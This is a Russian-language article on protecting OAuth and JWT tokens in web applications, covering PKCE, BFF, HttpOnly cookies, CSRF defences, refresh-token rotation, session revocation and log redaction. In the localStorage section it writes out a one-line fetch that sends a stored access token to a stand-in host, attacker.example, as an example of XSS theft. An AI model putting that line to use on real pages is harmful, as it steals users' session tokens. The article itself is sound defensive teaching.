Выбор OAuth-потока: почему PKCE становится стандартом
Одно и то же приложение OAuth не может использовать одинаковый поток везде. Разделите клиентов на две группы — и половина вопросов по безопасности закроется сама.
Первая группа — публичные клиенты. Сюда попадают одностраничные приложения (SPA) и мобильные приложения. Их код и среда выполнения полностью под контролем пользователя, поэтому надёжно спрятать client_secret невозможно: секрет либо лежит в бандле, либо в памяти, которую можно прочитать. Для таких приложений стандартом стал поток кода авторизации с PKCE.
PKCE (Proof Key for Code Exchange) привязывает запрос авторизации к временному секрету, который генерирует сам клиент. Схема простая:
- Клиент создаёт произвольный
code_verifier. - На его основе вычисляет
code_challengeи отправляет его в запросе авторизации. - Оригинальный
code_verifierостаётся на клиенте и никуда не уходит. - При обмене кода авторизации на токены клиент предъявляет этот верификатор.
Смысл в том, что перехваченного кода авторизации атакующему недостаточно. Без совпадающего верификатора обмен не завершится. Даже если код утёк через логи, историю браузера или заголовок Referer, превратить его в токен не получится.
Вторая группа — конфиденциальные клиенты. Это сервисы, которые общаются между собой «машина-машина» и умеют держать client_id с client_secret в защищённой серверной среде. Им PKCE не нужен: подойдёт разрешение client_credentials:
POST /oauth/token
grant_type=client_credentials
client_id=reporting-service
client_secret=protected-secretЗдесь секрет реально хранится на сервере, а не в браузере. Но у этого есть цена: секреты клиента нужно регулярно ротировать и держать в отдельной системе управления секретами, а не в репозитории. Сами токены тоже должны быть короткоживущими.
Отдельно стоит вычеркнуть один вариант. Старый явный (explicit) поток для новых приложений использовать не следует: он выставляет токены на всеобщее обозрение прямо в перенаправлениях, а встроенных защит наподобие PKCE в нём нет. У современных браузеров и платформ есть более безопасные альтернативы, и брать explicit просто нечем оправдать.
Короткий вывод по выбору: клиент работает на устройстве пользователя — берёте поток кода авторизации с PKCE; клиент доверенный и серверный — берёте client_credentials с аккуратным управлением секретами. Правильный поток — это функция от того, кто контролирует исполняемую среду, а не от личных предпочтений.
Разделение обязанностей: роль BFF и короткоживущих токенов
Какой токен украсть сложнее всего? Тот, которого в браузере нет. Именно на этой идее строится паттерн BFF — Backend for Frontend, серверный слой под конкретное клиентское приложение.
Схема выглядит так: браузер общается только с BFF, а BFF — с основным API. Пользователь проходит аутентификацию через прослойку, BFF завершает обмен OAuth, и токены доступа и обновления остаются на сервере. В браузер уходит единственная HttpOnly-куки с непрозрачным идентификатором сессии. Клиентские запросы идут в BFF, а тот при необходимости сам подставляет токен доступа перед обращением к API.
Что это даёт на практике? Даже если на странице выполнится вредоносный скрипт, читать ему нечего: реальные токены OAuth существуют только в серверном хранилище сессий — например, в Redis или в базе. BFF хранит связку вроде sessionId, userId и зашифрованных accessToken/refreshToken с временем истечения, а браузер довольствуется куки __Host-session=sess_e8f1c2; HttpOnly; Secure; SameSite=Lax; Path=/. Цена решения — усложнение сервера и появление состояния, но взамен вы получаете централизованную ротацию, отзыв и логирование использования токенов.
Теперь про срок жизни access-токена — здесь всё держится на компромиссе между удобством и риском. Длинный срок означает меньше обновлений, но и больше времени у атакующего, если токен всё-таки утёк. Для браузерных приложений разумная отправная точка — 5–15 минут. Конкретное значение зависит от чувствительности: контентной платформе с низким риском подойдёт более длинное окно сессии, а финансовым панелям, внутренним админкам и системам здравоохранения стоит держать токены совсем короткоживущими.
Хранение токенов в браузере: почему localStorage проигрывает HttpOnly-куки
Сколько строк кода нужно, чтобы украсть токен из localStorage? Одна: fetch('https://attacker.example/collect', { method: 'POST', body: JSON.stringify({ token: localStorage.getItem('access_token') }) }). Всё остальное — как доставить эту строку на страницу — уже забота атакующего, и способов у него хватает.
Уязвимость XSS очевидна: если приложение где-то не экранировало пользовательский ввод, внедрённый скрипт читает хранилище тем же способом, что и легитимный код. Но опасность не ограничивается собственными багами. Атака на цепочку поставок — вредоносный код из пакета NPM, стороннего виджета или скрипта, подгруженного с CDN, — выполняется с теми же привилегиями, что и остальное приложение. С точки зрения браузера это просто ещё один скрипт. Легитимность источника значения не имеет: доступ к localStorage одинаков для всех.
sessionStorage не спасает. Оно очищается при закрытии вкладки, но чтение из JavaScript остаётся открытым, а значит и кража никуда не уходит. Частое оправдание — «положим в localStorage временно, заменим потом» — обычно не сбывается: как только аутентификация заработала и ушла в продакшн, менять всю её архитектуру становится слишком дорого, и временный костыль превращается в постоянную инфраструктуру.
Что меняется с HttpOnly-куки
Атрибут HttpOnly закрывает document.cookie для скриптов. Остальные атрибуты добавляют свои границы:
Secure— куки уходит только по HTTPS;SameSiteограничивает включение куки в межсайтовые запросы;- префикс
__Host-требует HTTPS иPath=/, а атрибутDomainзапрещает — поддомен с меньшим доверием не сможет подсунуть конфликтующий куки для родительского домена.
Важно не переоценить эффект. HttpOnly защищает учётные данные от извлечения, а не от злоупотребления сессией. Вредоносный скрипт по-прежнему может выполнять аутентифицированные операции внутри скомпрометированной страницы: значение куки он не прочитает, но браузер подставит её в запросы автоматически.
У цены тоже две стороны. Куки включается в совпадающие запросы сам — отсюда риск CSRF. SameSite=Lax или Strict блокирует многие сценарии, но на чувствительных операциях полагаться только на этот флаг не стоит: запросы, меняющие состояние, разумно защищать отдельным CSRF-токеном, который сервер сверяет с доверенным значением, привязанным к сессии, либо проверкой заголовков Origin и Referer. Плюс внимательная настройка CORS: межсайтовые запросы с учётными данными требуют явного Access-Control-Allow-Origin, и звёздочка * здесь недопустима.
Итог простой: localStorage удобно читать вашему коду — и ровно так же удобно чужому. HttpOnly-куки убирает саму возможность прочитать секрет из скрипта, но переносит часть ответственности на сервер — за CSRF, CORS и корректные атрибуты.
Защита от CSRF и передача учётных данных
Куки удобны именно тем, что браузер добавляет их к запросу сам. Но эта же автоматика открывает дорогу подделке межсайтовых запросов (CSRF): сторонний сайт может заставить браузер жертвы отправить аутентифицированный запрос. Атрибуты SameSite=Lax или SameSite=Strict закрывают большинство таких сценариев, однако для операций, меняющих состояние, полагаться только на флаг браузера не стоит.
Представим смену почты в аккаунте. Если за обработку этого запроса отвечает лишь куки, злоумышленнику достаточно заставить браузер отправить POST /api/account/email — и сервер увидит валидную сессию. Отдельный токен CSRF ломает этот план: клиент прикладывает его в заголовке, а сервер сверяет значение с тем, что привязано к сессии.
POST /api/account/email
Cookie: __Host-session=...
X-CSRF-Token: 7e3fb91d...Токен, привязанный к серверной сессии, обычно проще в поддержке, чем схема двойной отправки куки, — особенно когда состояние сессии уже хранится на сервере. Как дополнительный слой работает проверка заголовков Origin и Referer: сервер сверяет источник запроса с ожидаемым и отклоняет всё остальное.
function validateOrigin(request) {
const origin = request.headers.get('origin');
if (origin !== 'https://app.example.com') {
throw new Error('Invalid request origin');
}
}Для чувствительных операций разумно комбинировать несколько средств защиты сразу, а не выбирать одно. Чем больше независимых проверок проходит запрос, тем выше цена ошибки для атакующего.
Ротация refresh-токенов: атомарность и сжигание семьи
Ротация токена обновления без атомарности — это половина защиты. Смысл в другом: каждое успешное обновление должно помечать использованный токен как потреблённый, а новый выдаваться ровно один раз. Тогда попытка предъявить уже потреблённый токен становится не рядовой ошибкой, а сигналом тревоги.
Предположим, атакующий украл токен обновления A. Клиент в это время спокойно меняет A на B и продолжает работу. Когда злоумышленник позже предъявит A, сервер увидит, что этот токен уже был потреблён. Токен обновления, который «воскрес» после успешного обмена, — почти однозначный признак компрометации: у законного клиента его давно нет, значит, кто-то получил копию.
Чтобы отделить взлом от случайной гонки, токены, выпущенные из одной авторизации, группируют в семью:
Семья: family_27
Токен A -> Токен B -> Токен C -> Токен DЕсли A предъявлен повторно после выпуска B, сервер отзывает всю семью сразу — этот приём называют сжиганием семьи токенов. Пользователю придётся войти заново, зато атакующий теряет возможность продлевать украденную сессию: обновлять её больше нечем.
Ключевое слово здесь — «атомарно». Два одновременных запроса не должны обменять один и тот же токен на два валидных токена доступа. В транзакции БД это решается блокировкой строки:
BEGIN;
SELECT *
FROM refresh_tokens
WHERE token_hash = $1
FOR UPDATE;
UPDATE refresh_tokens
SET consumed_at = NOW()
WHERE token_hash = $1
AND consumed_at IS NULL;
INSERT INTO refresh_tokens (
token_hash,
family_id,
user_id,
expires_at
)
VALUES ($2, $3, $4, $5);
COMMIT;Альтернатива — семантика сравнения и обмена: UPDATE ... WHERE id = $1 AND consumed_at IS NULL, после чего приложение проверяет, что обновилась ровно одна строка. Если ни одной — токен уже израсходован кем-то другим. Важная деталь: такой исход нельзя трактовать как обычный провал входа. Это либо повторное использование, либо гонка условий, и оба случая должны запускать политику сессии, а не молчаливый 401.
Отдельная ловушка — несколько запросов, одновременно получивших 401 при истёкшем токене доступа. Без координации фронтенд отправит пачку запросов на обновление и сам спровоцирует ложное срабатывание детектора. Лечится общим промисом: первый запрос инициирует обновление, остальные ждут тот же результат.
let refreshPromise = null;
async function refreshSession() {
if (!refreshPromise) {
refreshPromise = fetch('/auth/refresh', {
method: 'POST',
credentials: 'include',
}).finally(() => {
refreshPromise = null;
});
}
return refreshPromise;
}Неудачное обновление обычно должно завершать локальную сессию. Повторные попытки отправить недействительный токен обновления легко превращаются в цикл и порождают вводящие в заблуждение события безопасности.
Событие refresh_token_reuse стоит логировать с семьёй токенов, идентификатором сессии, IP и агентом пользователя — этого достаточно, чтобы разобраться в инциденте постфактум. А вот ответ наружу должен оставаться скупым: session_expired и предложение войти снова. Детали инцидента — для внутренних логов, не для публичного API.
Аннулирование сессий: немедленный отзыв и контроль пользователя
Подписанный токен не умеет «передумать». Пока сервер только проверяет подпись и exp, украденный токен остаётся рабочим до самого истечения срока — и выход из системы, смена пароля или блокировка аккаунта ничего не меняют. Немедленный отзыв требует, чтобы у сервера было состояние, к которому он обращается на каждом запросе.
Самый простой вариант — блок-лист по jti в Redis. Отозванный идентификатор записывается с TTL, равным остатку жизни токена:
revoked:token_4af79c = true
TTL = оставшийся срок жизни токенаКак только срок истекает, Redis сам удаляет запись — список не растёт бесконечно. Проверка добавляет один поиск в путь запроса, но зато даёт мгновенный контроль:
const revoked = await redis.get(`revoked:${payload.jti}`);
if (revoked) {
throw new UnauthorizedError('Token has been revoked');
}Альтернатива — хранить не отдельные токены, а серверные сессии. Тогда токен доступа несёт идентификатор сессии (sid), а сервер отклоняет запросы, чья сессия уже отозвана:
{
"sub": "user_1842",
"sid": "sess_e8f1c2",
"exp": 1784218500
}Такой подход ломает принцип stateless JWT, и это нормально: отсутствие состояния — не всегда главное требование. Для финансовых, медицинских, корпоративных и административных систем более строгий контроль над сессиями обычно оправдан.
Дальше встаёт вопрос, какие события запускают отзыв. Смена пароля — особенно если она последовала за обнаруженной компрометацией — должна инвалидировать существующие сессии. Выход из системы обязан гасить токен обновления или серверную сессию, а не просто стирать локальное состояние в браузере. Подозрительная активность на устройстве может оправдать отзыв одной сессии при сохранении остальных. Отключение аккаунта администратором должно немедленно закрывать доступ. А повторное использование токена обновления — тот самый сигнал из прошлой секции — приводит к отзыву всей семьи. Технически это один запрос:
async function revokeUserSessions(userId) {
await database.userSessions.updateMany({
where: {
userId,
revokedAt: null,
},
data: {
revokedAt: new Date(),
},
});
}Но отзыва мало — пользователю нужно дать руль. Приложение с высокими требованиями к безопасности показывает экран управления сессиями, где видно каждое активное устройство и его можно отключить вручную:
Current device
Jerusalem, Chrome on Windows
Active now
Other device
Tel Aviv, Safari on iPhone
Last active 2 hours ago
[Revoke]Когда пользователь видит незнакомый город в списке — он отключает чужую сессию одной кнопкой, не дожидаясь службы поддержки. Без TTL в Redis блок-лист распухнет, без серверного состояния отзыв невозможен в принципе, а без экрана управления пользователь остаётся слепым к чужим входам в свой аккаунт. Эти три части работают только вместе.
Логи и размер токенов: две недооценённые утечки
Один console.error в обработчике ошибок способен свести на нет всю работу по защите токенов. Если в лог уходит объект запроса целиком, вместе с ним уезжают заголовки Authorization и Cookie — в системы, доступ к которым шире, чем к базе аутентификации: платформу сбора ошибок, файлы обратного прокси, панель мониторинга.
Закрывается это редактированием перед записью. Не логируйте запрос «как есть» — прогоняйте заголовки через функцию, которая затирает чувствительные поля:
function sanitizeHeaders(headers) {
const safeHeaders = { ...headers };
if (safeHeaders.authorization) safeHeaders.authorization = '[REDACTED]';
if (safeHeaders.cookie) safeHeaders.cookie = '[REDACTED]';
return safeHeaders;
}
logger.info({
method: request.method,
path: request.url,
headers: sanitizeHeaders(request.headers),
});Продакшн-системы по умолчанию не должны хранить полные запросы. Дополнительно конвейер логирования может сканировать строки на предмет JWT-подобных последовательностей, ключей API и приватных ключей — это не заменяет предотвращение, но сокращает окно между компрометацией и реакцией.
Вторая точка риска — размер самого токена. JWT может нести больше атрибутов, чем нужно приложению. Раздутая полезная нагрузка дороже в парсинге и способна превысить лимиты прокси или перегрузить промежуточное ПО. Задавайте верхнюю границу явно:
const MAX_TOKEN_LENGTH = 4096;
if (token.length > MAX_TOKEN_LENGTH) {
throw new UnauthorizedError('Token is too large');
}Держите в токене только то, что требуется для авторизации. Он не должен превращаться в переносимый профиль пользователя:
{
"sub": "user_1842",
"roles": ["editor"],
"scope": ["articles:read", "articles:write"],
"sid": "sess_e8f1c2",
"iat": 1784217600,
"exp": 1784218500
}Чувствительные персональные данные стоит оставлять на сервере: полезная нагрузка JWT кодируется, а не шифруется, поэтому любой, кто получил токен, может её прочитать.
Итог: 2–3 ключевых вывода и практический совет
Первое: подпись токена не имеет отношения к его защите от кражи. JWT может быть корректно подписан и при этом спокойно использоваться тем, кто его перехватил, — сервер не отличит легитимного клиента от чужого, пока оба присылают одинаковый Authorization: Bearer .... Поэтому ставку стоит делать не на криптографию, а на срок жизни токена и возможность его быстро отозвать.
Второе: хранилище на клиенте важнее, чем алгоритм. localStorage и sessionStorage читаются любым скриптом на странице — вредоносным расширением, сломанной NPM-зависимостью, аналитическим виджетом из CDN. Схема BFF уводит токены OAuth в серверное хранилище, а браузеру оставляет только непрозрачный __Host-session в HttpOnly-куки. Даже если XSS случится, украсть нечего.
Третье: ротация токенов обновления — это не про удобство, а про обнаружение. Когда потреблённый токен возвращается повторно, сервер видит явный признак компрометации и сжигает всю семью токенов; пользователь просто перелогинивается, а атакующий теряет возможность продлевать сессию. Без атомарной ротации (блокировка строки или сравнение-с-обменом) два параллельных запроса обменяют один токен на два валидных — и вся логика обнаружения рушится на ровном месте.
Практический совет: начните с короткого срока жизни токена доступа — 5–15 минут по умолчанию, и уберите продление сессии в серверную логику с абсолютным лимитом (например, 7 дней скользящего окна при 30 днях жёсткого потолка). Это даёт немедленный эффект без переписывания всей аутентификации сразу, а дальше уже можно двигаться к ротации и BFF. Ориентир по остальным пунктам — чеклист в исходной статье.